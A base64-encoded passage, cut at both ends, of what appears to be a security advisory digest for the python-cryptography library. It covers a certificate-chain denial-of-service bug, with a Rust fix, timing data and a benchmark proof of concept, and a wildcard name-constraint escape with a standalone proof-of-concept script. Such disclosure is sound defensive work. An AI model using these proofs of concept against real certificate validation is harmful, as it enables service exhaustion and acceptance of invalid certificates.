NzdWVycyBmb3IgdGhpcyBjZXJ0LAogICAgICAgIC8vIGFuZCBjb250aW51ZSB3aXRoIHRoZSBmaXJzdCB0aGF0IHZlcmlmaWVzLgogICAgICAgIGxldCBtdXQgbGFzdF9lcnI6IE9wdGlvbjxWYWxpZGF0aW9uRXJyb3I8J18sIEI+PiA9IE5vbmU7CiAgICAgICAgZm9yIGlzc3VpbmdfY2VydF9jYW5kaWRhdGUgaW4gc2VsZi5wb3RlbnRpYWxfaXNzdWVycyh3b3JraW5nX2NlcnQpIHsKICAgICAgICAgICAgLy8gQSBjYW5kaWRhdGUgaXNzdWVyIGlzIHNhaWQgdG8gdmVyaWZ5IGlmIGl0IGJvdGgKICAgICAgICAgICAgLy8gc2lnbnMgZm9yIHRoZSB3b3JraW5nIGNlcnRpZmljYXRlIGFuZCBjb25mb3JtcyB0byB0aGUKICAgICAgICAgICAgLy8gcG9saWN5LgogICAgICAgICAgICBsZXQgaXNzdWVyX2V4dGVuc2lvbnMgPSBpc3N1aW5nX2NlcnRfY2FuZGlkYXRlLmNlcnRpZmljYXRlKCkuZXh0ZW5zaW9ucygpPzsKICAgICAgICAgICAgbWF0Y2ggc2VsZi5wb2xpY3kudmFsaWRfaXNzdWVyKAogICAgICAgICAgICAgICAgaXNzdWluZ19jZXJ0X2NhbmRpZGF0ZSwKICAgICAgICAgICAgICAgIHdvcmtpbmdfY2VydCwKICAgICAgICAgICAgICAgIGN1cnJlbnRfZGVwdGgsCiAgICAgICAgICAgICAgICAmaXNzdWVyX2V4dGVuc2lvbnMsCiAgICAgICAgICAgICkgewogICAgICAgICAgICAgICAgT2soXykgPT4gewogICAgICAgICAgICAgICAgICAgIG1hdGNoIHNlbGYuYnVpbGRfY2hhaW5faW5uZXIoCmBgYAoKQSBzdWZmaWNpZW50IHBhdGNoIGlzIHRvIHRyYWNrIHZhbGlkIGlzc3VlcnMsIGFuZCB0byBza2lwIHNlZW4gb25lcyBiZWZvcmUgcmVjdXJzaW5nLiBCeSB0cmFja2luZyB2YWxpZCBpc3N1ZXJzIG9ubHksIHZhbGlkYXRpb24gYW5kIGN1c3RvbSBleHRlbnNpb24tcG9saWN5IGNhbGxiYWNrcyBzdGlsbCBydW4uCgpgYGBydXN0CiAgICAgICAgICBsZXQgbXV0IHNlZW5fdmFsaWRfaXNzdWVycyA9IFZlYzo6PCZWZXJpZmljYXRpb25DZXJ0aWZpY2F0ZTwnY2hhaW4sIEI+Pjo6bmV3KCk7CiAgICAgICAgICBmb3IgaXNzdWluZ19jZXJ0X2NhbmRpZGF0ZSBpbiBzZWxmLnBvdGVudGlhbF9pc3N1ZXJzKHdvcmtpbmdfY2VydCkgewogICAgICAgICAgLiAuIC4KICAgICAgICAgICAgICAgICAgT2soXykgPT4gewogICAgICAgICAgICAgICAgICAgICAgaWYgc2Vlbl92YWxpZF9pc3N1ZXJzLmNvbnRhaW5zKCZpc3N1aW5nX2NlcnRfY2FuZGlkYXRlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgIHNlZW5fdmFsaWRfaXNzdWVycy5wdXNoKGlzc3VpbmdfY2VydF9jYW5kaWRhdGUpOwogCiAgICAgICAgICAgICAgICAgICAgICBtYXRjaCBzZWxmLmJ1aWxkX2NoYWluX2lubmVyKAogICAgICAgICAgICAgICAgICAgICAgICAgIGlzc3VpbmdfY2VydF9jYW5kaWRhdGUsCiAgICAgICAgICAgICAgICAgICAgICAgICAgLy8gTk9URSh3dyk6IEFjY29yZGluZyB0byBSRkMgNTI4MCwgd2Ugc2hvdWxkIG9ubHkKYGBgCgpJbiB0ZXN0aW5nLCB0aGlzIGZpeCByZW1vdmVkIHRoZSBleHBvbmVudGlhbCBibG93dXAgd2l0aG91dCBicmVha2luZyBhcHBhcmVudCBjb3JyZWN0bmVzcy4gCgpgYGAKZHVwbGljYXRlcyxtYXhfZGVwdGgscmVzdWx0LHNlY29uZHMKMSw3LHJlamVjdGVkLDAuMDAwNDY0IC0+IDEsNyxyZWplY3RlZCwwLjAwMDY2NwoyLDcscmVqZWN0ZWQsMC4wMjUxNTQgLT4gMiw3LHJlamVjdGVkLDAuMDAxMjI5CjMsNyxyZWplY3RlZCwwLjQ4OTkyNCAtPiAzLDcscmVqZWN0ZWQsMC4wMDE2MTkgCjQsNyxyZWplY3RlZCw0LjMwOTQwMyAtPiA0LDcscmVqZWN0ZWQsMC4wMDIxNDQKMyw4LHJlamVjdGVkLDEuNDY4MTkzIC0+IDMsOCxyZWplY3RlZCwwLjAwMTgxMQo0LDgsdGltZW91dD41cywgICAgICAgLT4gNCw4LHJlamVjdGVkLDAuMDAyNDEwCjUsNyx0aW1lb3V0PjVzLCAgICAgICAtPiA1LDcscmVqZWN0ZWQsMC4wMDI2NDAKNiw2LHRpbWVvdXQ+NXMsICAgICAgIC0+IDYsNixyZWplY3RlZCwwLjAwMjgyOQpgYGAKCiMjIyMjIFBvQwpUaGUgZm9sbG93aW5nIHNjcmlwdCBiZW5jaG1hcmtzIHByb2Nlc3NpbmcgdGltZXMgZm9yIG1hbGljaW91cyBjZXJ0IGNoYWlucy4KCmBgYHB5dGhvbgppbXBvcnQgZGF0ZXRpbWUKaW1wb3J0IG11bHRpcHJvY2Vzc2luZwppbXBvcnQgdGltZQoKaW1wb3J0IGNyeXB0b2dyYXBoeQpmcm9tIGNyeXB0b2dyYXBoeSBpbXBvcnQgeDUwOQpmcm9tIGNyeXB0b2dyYXBoeS5oYXptYXQucHJpbWl0aXZlcyBpbXBvcnQgaGFzaGVzCmZyb20gY3J5cHRvZ3JhcGh5Lmhhem1hdC5wcmltaXRpdmVzLmFzeW1tZXRyaWMgaW1wb3J0IGVjCmZyb20gY3J5cHRvZ3JhcGh5Lng1MDkub2lkIGltcG9ydCBFeHRlbmRlZEtleVVzYWdlT0lELCBOYW1lT0lECmZyb20gY3J5cHRvZ3JhcGh5Lng1MDkudmVyaWZpY2F0aW9uIGltcG9ydCAoCiAgICBETlNOYW1lLAogICAgUG9saWN5QnVpbGRlciwKICAgIFN0b3JlLAogICAgVmVyaWZpY2F0aW9uRXJyb3IsCikKCk5PVyA9IGRhdGV0aW1lLmRhdGV0aW1lKDIwMjQsIDEsIDEsIHR6aW5mbz1kYXRldGltZS50aW1lem9uZS51dGMpClRJTUVPVVQgPSA1CkNBX0tFWV9VU0FHRSA9IHg1MDkuS2V5VXNhZ2UoCiAgICBkaWdpdGFsX3NpZ25hdHVyZT1UcnVlLAogICAgY29udGVudF9jb21taXRtZW50PUZhbHNlLAogICAga2V5X2VuY2lwaGVybWVudD1GYWxzZSwKICAgIGRhdGFfZW5jaXBoZXJtZW50PUZhbHNlLAogICAga2V5X2FncmVlbWVudD1GYWxzZSwKICAgIGtleV9jZXJ0X3NpZ249VHJ1ZSwKICAgIGNybF9zaWduPVRydWUsCiAgICBlbmNpcGhlcl9vbmx5PUZhbHNlLAogICAgZGVjaXBoZXJfb25seT1GYWxzZSwKKQpFRV9LRVlfVVNBR0UgPSB4NTA5LktleVVzYWdlKAogICAgZGlnaXRhbF9zaWduYXR1cmU9VHJ1ZSwKICAgIGNvbnRlbnRfY29tbWl0bWVudD1GYWxzZSwKICAgIGtleV9lbmNpcGhlcm1lbnQ9RmFsc2UsCiAgICBkYXRhX2VuY2lwaGVybWVudD1GYWxzZSwKICAgIGtleV9hZ3JlZW1lbnQ9RmFsc2UsCiAgICBrZXlfY2VydF9zaWduPUZhbHNlLAogICAgY3JsX3NpZ249RmFsc2UsCiAgICBlbmNpcGhlcl9vbmx5PUZhbHNlLAogICAgZGVjaXBoZXJfb25seT1GYWxzZSwKKQoKZGVmIG5hbWUoY29tbW9uX25hbWUpOgogICAgcmV0dXJuIHg1MDkuTmFtZShbeDUwOS5OYW1lQXR0cmlidXRlKE5hbWVPSUQuQ09NTU9OX05BTUUsIGNvbW1vbl9uYW1lKV0pCgpkZWYgYmFzZV9idWlsZGVyKHN1YmplY3QsIGlzc3VlciwgcHVibGljX2tleSwgc2VyaWFsKToKICAgIHJldHVybiAoCiAgICAgICAgeDUwOS5DZXJ0aWZpY2F0ZUJ1aWxkZXIoKQogICAgICAgIC5zdWJqZWN0X25hbWUoc3ViamVjdCkKICAgICAgICAuaXNzdWVyX25hbWUoaXNzdWVyKQogICAgICAgIC5wdWJsaWNfa2V5KHB1YmxpY19rZXkpCiAgICAgICAgLnNlcmlhbF9udW1iZXIoc2VyaWFsKQogICAgICAgIC5ub3RfdmFsaWRfYmVmb3JlKE5PVyAtIGRhdGV0aW1lLnRpbWVkZWx0YShkYXlzPTEpKQogICAgICAgIC5ub3RfdmFsaWRfYWZ0ZXIoTk9XICsgZGF0ZXRpbWUudGltZWRlbHRhKGRheXM9MzApKQogICAgKQoKZGVmIG1ha2VfY2EoY29tbW9uX25hbWUsIHNlcmlhbCk6CiAgICBwcml2YXRlX2tleSA9IGVjLmdlbmVyYXRlX3ByaXZhdGVfa2V5KGVjLlNFQ1AyNTZSMSgpKQogICAgc3ViamVjdCA9IG5hbWUoY29tbW9uX25hbWUpCiAgICBjZXJ0ID0gKAogICAgICAgIGJhc2VfYnVpbGRlcihzdWJqZWN0LCBzdWJqZWN0LCBwcml2YXRlX2tleS5wdWJsaWNfa2V5KCksIHNlcmlhbCkKICAgICAgICAuYWRkX2V4dGVuc2lvbih4NTA5LkJhc2ljQ29uc3RyYWludHMoY2E9VHJ1ZSwgcGF0aF9sZW5ndGg9Tm9uZSksIFRydWUpCiAgICAgICAgLmFkZF9leHRlbnNpb24oQ0FfS0VZX1VTQUdFLCBUcnVlKQogICAgICAgIC5hZGRfZXh0ZW5zaW9uKAogICAgICAgICAgICB4NTA5LlN1YmplY3RLZXlJZGVudGlmaWVyLmZyb21fcHVibGljX2tleShwcml2YXRlX2tleS5wdWJsaWNfa2V5KCkpLAogICAgICAgICAgICBGYWxzZSwKICAgICAgICApCiAgICAgICAgLnNpZ24ocHJpdmF0ZV9rZXksIGhhc2hlcy5TSEEyNTYoKSkKICAgICkKICAgIHJldHVybiBwcml2YXRlX2tleSwgY2VydAoKZGVmIG1ha2VfbGVhZihpc3N1ZXJfa2V5LCBpc3N1ZXJfY2VydCk6CiAgICBwcml2YXRlX2tleSA9IGVjLmdlbmVyYXRlX3ByaXZhdGVfa2V5KGVjLlNFQ1AyNTZSMSgpKQogICAgcmV0dXJuICgKICAgICAgICBiYXNlX2J1aWxkZXIobmFtZSgibGVhZiIpLCBpc3N1ZXJfY2VydC5zdWJqZWN0LCBwcml2YXRlX2tleS5wdWJsaWNfa2V5KCksIDEwMCkKICAgICAgICAuYWRkX2V4dGVuc2lvbih4NTA5LkJhc2ljQ29uc3RyYWludHMoY2E9RmFsc2UsIHBhdGhfbGVuZ3RoPU5vbmUpLCBUcnVlKQogICAgICAgIC5hZGRfZXh0ZW5zaW9uKEVFX0tFWV9VU0FHRSwgVHJ1ZSkKICAgICAgICAuYWRkX2V4dGVuc2lvbih4NTA5LlN1YmplY3RBbHRlcm5hdGl2ZU5hbWUoW3g1MDkuRE5TTmFtZSgiZXhhbXBsZS5jb20iKV0pLCBGYWxzZSkKICAgICAgICAuYWRkX2V4dGVuc2lvbigKICAgICAgICAgICAgeDUwOS5BdXRob3JpdHlLZXlJZGVudGlmaWVyLmZyb21faXNzdWVyX3B1YmxpY19rZXkoaXNzdWVyX2tleS5wdWJsaWNfa2V5KCkpLAogICAgICAgICAgICBGYWxzZSwKICAgICAgICApCiAgICAgICAgLmFkZF9leHRlbnNpb24oeDUwOS5FeHRlbmRlZEtleVVzYWdlKFtFeHRlbmRlZEtleVVzYWdlT0lELlNFUlZFUl9BVVRIXSksIEZhbHNlKQogICAgICAgIC5zaWduKGlzc3Vlcl9rZXksIGhhc2hlcy5TSEEyNTYoKSkKICAgICkKCmRlZiBidWlsZF9tYXRlcmlhbCgpOgogICAgbG9vcGluZ19rZXksIGxvb3BpbmdfY2EgPSBtYWtlX2NhKCJsb29waW5nIHNlbGYtc2lnbmVkIENBIiwgMSkKICAgIF8sIHVucmVsYXRlZF9yb290ID0gbWFrZV9jYSgidW5yZWxhdGVkIHRydXN0IGFuY2hvciIsIDIpCiAgICBsZWFmID0gbWFrZV9sZWFmKGxvb3Bpbmdfa2V5LCBsb29waW5nX2NhKQogICAgcmV0dXJuIGxlYWYsIGxvb3BpbmdfY2EsIHVucmVsYXRlZF9yb290CgpkZWYgdmVyaWZ5X2Nhc2UoZHVwbGljYXRlcywgbWF4X2RlcHRoLCBxdWV1ZSk6CiAgICBsZWFmLCBsb29waW5nX2NhLCB1bnJlbGF0ZWRfcm9vdCA9IGJ1aWxkX21hdGVyaWFsKCkKICAgIHZlcmlmaWVyID0gKAogICAgICAgIFBvbGljeUJ1aWxkZXIoKQogICAgICAgIC5zdG9yZShTdG9yZShbdW5yZWxhdGVkX3Jvb3RdKSkKICAgICAgICAudGltZShOT1cpCiAgICAgICAgLm1heF9jaGFpbl9kZXB0aChtYXhfZGVwdGgpCiAgICAgICAgLmJ1aWxkX3NlcnZlcl92ZXJpZmllcihETlNOYW1lKCJleGFtcGxlLmNvbSIpKQogICAgKQoKICAgIHN0YXJ0ID0gdGltZS5wZXJmX2NvdW50ZXIoKQogICAgdHJ5OgogICAgICAgIHZlcmlmaWVyLnZlcmlmeShsZWFmLCBbbG9vcGluZ19jYV0gKiBkdXBsaWNhdGVzKQogICAgICAgIHJlc3VsdCA9ICJhY2NlcHRlZCIKICAgIGV4Y2VwdCBWZXJpZmljYXRpb25FcnJvcjoKICAgICAgICByZXN1bHQgPSAicmVqZWN0ZWQiCiAgICBxdWV1ZS5wdXQoKHJlc3VsdCwgdGltZS5wZXJmX2NvdW50ZXIoKSAtIHN0YXJ0KSkKCmRlZiBydW5fY2FzZShkdXBsaWNhdGVzLCBtYXhfZGVwdGgpOgogICAgcXVldWUgPSBtdWx0aXByb2Nlc3NpbmcuUXVldWUoKQogICAgcHJvY2VzcyA9IG11bHRpcHJvY2Vzc2luZy5Qcm9jZXNzKAogICAgICAgIHRhcmdldD12ZXJpZnlfY2FzZSwKICAgICAgICBhcmdzPShkdXBsaWNhdGVzLCBtYXhfZGVwdGgsIHF1ZXVlKSwKICAgICkKICAgIHByb2Nlc3Muc3RhcnQoKQogICAgcHJvY2Vzcy5qb2luKFRJTUVPVVQpCgogICAgaWYgcHJvY2Vzcy5pc19hbGl2ZSgpOgogICAgICAgIHByb2Nlc3MudGVybWluYXRlKCkKICAgICAgICBwcm9jZXNzLmpvaW4oKQogICAgICAgIHByaW50KGYie2R1cGxpY2F0ZXN9LHttYXhfZGVwdGh9LHRpbWVvdXQ+e1RJTUVPVVR9cywiKQogICAgICAgIHJldHVybgoKICAgIHJlc3VsdCwgZWxhcHNlZCA9IHF1ZXVlLmdldCgpCiAgICBwcmludChmIntkdXBsaWNhdGVzfSx7bWF4X2RlcHRofSx7cmVzdWx0fSx7ZWxhcHNlZDouNmZ9IikKCmlmIF9fbmFtZV9fID09ICJfX21haW5fXyI6CiAgICBwcmludCgiZHVwbGljYXRlcyxtYXhfZGVwdGgscmVzdWx0LHNlY29uZHMiKQogICAgZm9yIGNhc2UgaW4gWygxLCA3KSwgKDIsIDcpLCAoMywgNyksICg0LCA3KSwgKDMsIDgpLCAoNCwgOCksICg1LCA3KSwgKDYsIDYpXToKICAgICAgICBydW5fY2FzZSgqY2FzZSkKYGBgCgojIyMjIyBJbXBhY3QKVGhpcyBpc3N1ZSBleHBvc2VzIGFuIGFtcGxpZmljYXRpb24gcGF0aHdheSBvdmVyIGRhdGEgdGhhdCBpbiBtYW55IGFwcGxpY2F0aW9ucyBtYXkgYmUgdXNlci1jb250cm9sbGVkLCBsZWFkaW5nIHRvIHRoZSBwb3NzaWJpbGl0eSBvZiBhIGRlbmlhbCBvZiBzZXJ2aWNlIHRocm91Z2ggcmVzb3VyY2UgZXhoYXVzdGlvbi4gQXMgdGhlIGNvcnJlY3RuZXNzIG9mIHZhbGlkYXRpb24gaXMgbm90IGFmZmVjdGVkLCB0aGUgaW50ZWdyaXR5IG9mIGEgc3lzdGVtIGNhbm5vdCBiZSBjb21wcm9taXNlZCB0aHJvdWdoIHRoaXMgdmVjdG9yLCBvbmx5IGl0cyBhdmFpbGFiaWxpdHkuCgojIyMjIFNldmVyaXR5Ci0gQ1ZTUyBTY29yZTogOC43IC8gMTAgKEhpZ2gpCi0gVmVjdG9yIFN0cmluZzogYENWU1M6NC4wL0FWOk4vQUM6TC9BVDpOL1BSOk4vVUk6Ti9WQzpOL1ZJOk4vVkE6SC9TQzpOL1NJOk4vU0E6TmAKCiMjIyMgUmVmZXJlbmNlcwotIFtodHRwczovL2dpdGh1Yi5jb20vcHljYS9jcnlwdG9ncmFwaHkvc2VjdXJpdHkvYWR2aXNvcmllcy9HSFNBLWp3djMtNWhnZi04Mnd3XShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vcHljYS9jcnlwdG9ncmFwaHkvc2VjdXJpdHkvYWR2aXNvcmllcy9HSFNBLWp3djMtNWhnZi04Mnd3KQotIFtodHRwczovL2dpdGh1Yi5jb20vcHljYS9jcnlwdG9ncmFwaHkvcHVsbC8xNDk2MF0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL3B5Y2EvY3J5cHRvZ3JhcGh5L3B1bGwvMTQ5NjApCi0gW2h0dHBzOi8vZ2l0aHViLmNvbS9weWNhL2NyeXB0b2dyYXBoeS9jb21taXQvNGExMmNmNDk2NzVhMTg0ZTQ3ZjkxMmIwMGIwNGYzYTYyOTI4MzU4Ml0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL3B5Y2EvY3J5cHRvZ3JhcGh5L2NvbW1pdC80YTEyY2Y0OTY3NWExODRlNDdmOTEyYjAwYjA0ZjNhNjI5MjgzNTgyKQotIFtodHRwczovL2dpdGh1Yi5jb20vcHljYS9jcnlwdG9ncmFwaHldKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9weWNhL2NyeXB0b2dyYXBoeSkKClRoaXMgZGF0YSBpcyBwcm92aWRlZCBieSBbT1NWXShodHRwczovL29zdi5kZXYvdnVsbmVyYWJpbGl0eS9HSFNBLWp3djMtNWhnZi04Mnd3KSBhbmQgdGhlIFtHaXRIdWIgQWR2aXNvcnkgRGF0YWJhc2VdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRodWIvYWR2aXNvcnktZGF0YWJhc2UpIChbQ0MtQlkgNC4wXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vZ2l0aHViL2Fkdmlzb3J5LWRhdGFiYXNlL2Jsb2IvbWFpbi9MSUNFTlNFLm1kKSkuCjwvZGV0YWlscz4KCi0tLQoKIyMjIHB5dGhvbi1jcnlwdG9ncmFwaHkgdmVyaWZpZXIgYWNjZXB0cyB3aWxkY2FyZCBETlMgbmFtZXMgYWxsb3dpbmcgZXNjYXBlIGZyb20gcGVybWl0dGVkU3VidHJlZXMKW0NWRS0yMDI2LTY5MjQ4XShodHRwczovL252ZC5uaXN0Lmdvdi92dWxuL2RldGFpbC9DVkUtMjAyNi02OTI0OCkgLyBbR0hTQS1tMmg2LWo0NzItcnA0Y10oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2Fkdmlzb3JpZXMvR0hTQS1tMmg2LWo0NzItcnA0YykKCjxkZXRhaWxzPgo8c3VtbWFyeT5Nb3JlIGluZm9ybWF0aW9uPC9zdW1tYXJ5PgoKIyMjIyBEZXRhaWxzCiMjIyMjIFN1bW1hcnkKSWYgYW4gaW50ZXJtZWRpYXRlIGNvbnN0cmFpbmVkIENBIHBlcm1pdHMgdGhlIEROUyBuYW1lIGBmb28uZXhhbXBsZS5jb21gLCBhbmQgdGhlIGxlYWYgY2VydGlmaWNhdGUgaGFzIGEgd2lsZGNhcmQgaW4gaXRzIEROUyBTQU4gb2YgYCouZXhhbXBsZS5jb21gLCBweXRob24tY3J5cHRvZ3JhcGh5J3MgdmVyaWZpZXIgYWNjZXB0cyB3aGljaCBhbGxvd3MgZXNjYXBpbmcgb3V0c2lkZSBvZiB0aGUgcGVybWl0dGVkIG5hbWVzLgoKIyMjIyMgUG9DCgpgYGAKCiMhL3Vzci9iaW4vZW52IHB5dGhvbjMKIiIiU3RhbmRhbG9uZSBQb0M6IHB5Y2EncyBETlNDb25zdHJhaW50OjptYXRjaGVzIGFkbWl0cyBhIHRvby1icm9hZCB3aWxkY2FyZCBTQU4uCgpTZXR1cDoKICBTdWItQ0EgcGVybWl0dGVkIGNvbnN0cmFpbnQ6IGROU05hbWUgPSBmb28uZXhhbXBsZS5jb20KICBMZWFmIFNBTjogICAgICAgICAgICAgICAgICAgIGROU05hbWUgPSAqLmV4YW1wbGUuY29tCkV4cGVjdGVkOiByZWplY3Rpb24gKFJGQyA1MjgwIMKnNC4yLjEuMTAgKyBzdGFuZGFyZCB3aWxkY2FyZCBzZW1hbnRpY3MpLgpPYnNlcnZlZDogcHljYSBhY2NlcHRzOyBmdXJ0aGVyLCBhc2tzIHNlcnZlci12ZXJpZmllciB3aGV0aGVyIHRoZSBsZWFmIGlzCmF1dGhvcml0YXRpdmUgZm9yIGBiYXIuZXhhbXBsZS5jb21gIGFuZCBweWNhIGFuc3dlcnMgeWVzIOKAlCBhIHN1Yi1DQSBzY29wZQplc2NhcGUuCiIiIgppbXBvcnQgZGF0ZXRpbWUKZnJvbSBjcnlwdG9ncmFwaHkgaW1wb3J0IHg1MDkKZnJvbSBjcnlwdG9ncmFwaHkueDUwOS5vaWQgaW1wb3J0IE5hbWVPSUQKZnJvbSBjcnlwdG9ncmFwaHkuaGF6bWF0LnByaW1pdGl2ZXMgaW1wb3J0IGhhc2hlcwpmcm9tIGNyeXB0b2dyYXBoeS5oYXptYXQucHJpbWl0aXZlcy5hc3ltbWV0cmljIGltcG9ydCBlYwpmcm9tIGNyeXB0b2dyYXBoeS54NTA5LnZlcmlmaWNhdGlvbiBpbXBvcnQgKAogICAgUG9saWN5QnVpbGRlciwgU3RvcmUsIEV4dGVuc2lvblBvbGljeSwgQ3JpdGljYWxpdHksIFZlcmlmaWNhdGlvbkVycm9yLAopCgpub3cgPSBkYXRldGltZS5kYXRldGltZSgyMDI3LCAxLCAxLCB0emluZm89ZGF0ZXRpbWUudGltZXpvbmUudXRjKQpkYXkgPSBkYXRldGltZS50aW1lZGVsdGEoZGF5cz0xKQoKZGVmIGJ1aWxkKHN1YmplY3QsIGlzc3Vlciwga2V5LCBpc3N1ZXJfa2V5LCBjYSwgZXh0cz0oKSk6CiAgICBiID0gKHg1MDkuQ2VydGlmaWNhdGVCdWlsZGVyKCkKICAgICAgICAgLnN1YmplY3RfbmFtZShzdWJqZWN0KS5pc3N1ZXJfbmFtZShpc3N1ZXIpCiAgICAgICAgIC5wdWJsaWNfa2V5KGtleS5wdWJsaWNfa2V5KCkpCiAgICAgICAgIC5zZXJpYWxfbnVtYmVyKHg1MDkucmFuZG9tX3NlcmlhbF9udW1iZXIoKSkKICAgICAgICAgLm5vdF92YWxpZF9iZWZvcmUobm93IC0gMzAgKiBkYXkpCiAgICAgICAgIC5ub3RfdmFsaWRfYWZ0ZXIobm93ICsgMzY1MCAqIGRheSkKICAgICAgICAgLmFkZF9leHRlbnNpb24oeDUwOS5CYXNpY0NvbnN0cmFpbnRzKGNhPWNhLCBwYXRoX2xlbmd0aD1Ob25lKSwgY3JpdGljYWw9VHJ1ZSkpCiAgICBmb3IgZSwgYyBpbiBleHRzOgogICAgICAgIGIgPSBiLmFkZF9leHRlbnNpb24oZSwgYykKICAgIHJldHVybiBiLnNpZ24oaXNzdWVyX2tleSwgaGFzaGVzLlNIQTI1NigpKQoKIyMjIyMgUm9vdApyayA9IGVjLmdlbmVyYXRlX3ByaXZhdGVfa2V5KGVjLlNFQ1AyNTZSMSgpKQpybiA9IHg1MDkuTmFtZShbeDUwOS5OYW1lQXR0cmlidXRlKE5hbWVPSUQuQ09NTU9OX05BTUUsICJUZXN0IFJvb3QiKV0pCnJvb3QgPSBidWlsZChybiwgcm4sIHJrLCByaywgVHJ1ZSkKCiMjIyMjIFN1Yi1DQSBjb25zdHJhaW5lZCB0byBmb28uZXhhbXBsZS5jb20Kc2sgPSBlYy5nZW5lcmF0ZV9wcml2YXRlX2tleShlYy5TRUNQMjU2UjEoKSkKc24gPSB4NTA5Lk5hbWUoW3g1MDkuTmFtZUF0dHJpYnV0ZShOYW1lT0lELkNPTU1PTl9OQU1FLCAiU3ViLUNBIildKQpuYyA9IHg1MDkuTmFtZUNvbnN0cmFpbnRzKAogICAgcGVybWl0dGVkX3N1YnRyZWVzPVt4NTA5LkROU05hbWUoImZvby5leGFtcGxlLmNvbSIpXSwKICAgIGV4Y2x1ZGVkX3N1YnRyZWVzPU5vbmUsCikKc3ViID0gYnVpbGQoc24sIHJuLCBzaywgcmssIFRydWUsIFsobmMsIFRydWUpXSkKCiMjIyMjIExlYWYgd2l0aCBTQU4gKi5leGFtcGxlLmNvbSAob3Zlci1icm9hZCByZWxhdGl2ZSB0byB0aGUgY29uc3RyYWludCkKbGsgPSBlYy5nZW5lcmF0ZV9wcml2YXRlX2tleShlYy5TRUNQMjU2UjEoKSkKbG4gPSB4NTA5Lk5hbWUoW3g1MDkuTmFtZUF0dHJpYnV0ZShOYW1lT0lELkNPTU1PTl9OQU1FLCAiTGVhZiIpXSkKc2FuID0geDUwOS5TdWJqZWN0QWx0ZXJuYXRpdmVOYW1lKFt4NTA5LkROU05hbWUoIiouZXhhbXBsZS5jb20iKV0pCmxlYWYgPSBidWlsZChsbiwgc24sIGxrLCBzaywgRmFsc2UsIFsoc2FuLCBGYWxzZSldKQoKIyMjIyMgUG9saWNpZXMKY2FfcG9sID0gRXh0ZW5zaW9uUG9saWN5LnBlcm1pdF9hbGwoKS5yZXF1aXJlX3ByZXNlbnQoCiAgICB4NTA5LkJhc2ljQ29uc3RyYWludHMsIENyaXRpY2FsaXR5LkFHTk9TVElDLCBOb25lLAopCmVlX3BvbCA9IEV4dGVuc2lvblBvbGljeS5wZXJtaXRfYWxsKCkucmVxdWlyZV9wcmVzZW50KAogICAgeDUwOS5TdWJqZWN0QWx0ZXJuYXRpdmVOYW1lLCBDcml0aWNhbGl0eS5BR05PU1RJQywgTm9uZSwKKQp2ID0gKAogICAgUG9saWN5QnVpbGRlcigpCiAgICAuc3RvcmUoU3RvcmUoW3Jvb3RdKSkKICAgIC50aW1lKG5vdykKICAgIC5leHRlbnNpb25fcG9saWNpZXMoY2FfcG9saWN5PWNhX3BvbCwgZWVfcG9saWN5PWVlX3BvbCkKICAgIC5idWlsZF9zZXJ2ZXJfdmVyaWZpZXIoeDUwOS5ETlNOYW1lKCJiYXIuZXhhbXBsZS5jb20iKSkKKQp0cnk6CiAgICB2LnZlcmlmeShsZWFmLCBbc3ViXSkKICAgIHByaW50KCJCVUc6IHB5Y2EgdHJ1c3RlZCBsZWFmIGFzIGJhci5leGFtcGxlLmNvbSB0aG91Z2ggc3ViLUNBIHdhcyBjb25zdHJhaW5lZCB0byBmb28uZXhhbXBsZS5jb20iKQpleGNlcHQgVmVyaWZpY2F0aW9uRXJyb3IgYXMgZToKICAgIHByaW50KGYiRVhQRUNURUQ6IFZlcmlmaWNhdGlvbkVycm9yOiB7ZX0iKQpgYGAKCiMjIyMjIEltcGFjdAoKQWNjZXB0YW5jZSBvZiBpbnZhbGlkIGNlcnRpZmljYXRlIGNoYWluLgoKIyMjIyBTZXZlcml0eQotIENWU1MgU2NvcmU6IDYuOSAvIDEwIChNZWRpdW0pCi0gVmVjdG9yIFN0cmluZzogYENWU1M6NC4wL0FWOk4vQUM6TC9BVDpQL1BSOk4vVUk6Ti9WQzpML1ZJOkgvVkE6Ti9TQzpOL1NJOk4vU0E6Ti9FOlBgCgojIyMjIFJlZmVyZW5jZXMKLSBbaHR0cHM6Ly9naXRodWIuY29tL3B5Y2EvY3J5cHRvZ3JhcGh5L3NlY3VyaXR5L2Fkdmlzb3JpZXMvR0hTQS1tMmg2LWo0NzItcnA0Y10oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL3B5Y2EvY3J5cHRvZ3JhcGh5L3NlY3VyaXR5L2Fkdmlzb3JpZXMvR0hTQS1tMmg2LWo0NzItcnA0YykKLSBbaHR0cHM6Ly9naXRodWIuY29tL3B5Y2EvY3J5cHRvZ3JhcGh5L3B1bGwvMTQ4ODhdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9weWNhL2NyeXB0b2dyYXBoeS9wdWxsLzE0ODg4KQotIFtodHRwczovL2dpdGh1Yi5jb20vcHljYS9jcnlwdG9ncmFwaHkvY29tbWl0LzRkMDM1YTQyMjU5NjVlZGVmZmQzMTIwNzlhNTEwZWYyNWZjZmRjYjJdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9weWNhL2NyeXB0b2dyYXBoeS9jb21taXQvNGQwMzVhNDIyNTk2NWVkZWZmZDMxMjA3OWE1MTBlZjI1ZmNmZGNiMikKLSBbaHR0cHM6Ly9naXRodWIuY29tL3B5Y2EvY3J5cHRvZ3JhcGh5XShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vcHljYS9jcnlwdG9ncmFwaHkpCgpUaGlzIGRhdGEgaXMgcHJvdmlkZWQgYnkgW09TVl0oaHR0cHM6Ly9vc3YuZGV2L3Z1bG5lcmFiaWxpdHkvR0hTQS1tMmg2LWo0NzItcnA0YykgYW5kIHRoZSBbR2l0SHViIEFkdmlzb3J5IERhdGFiYXNlXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi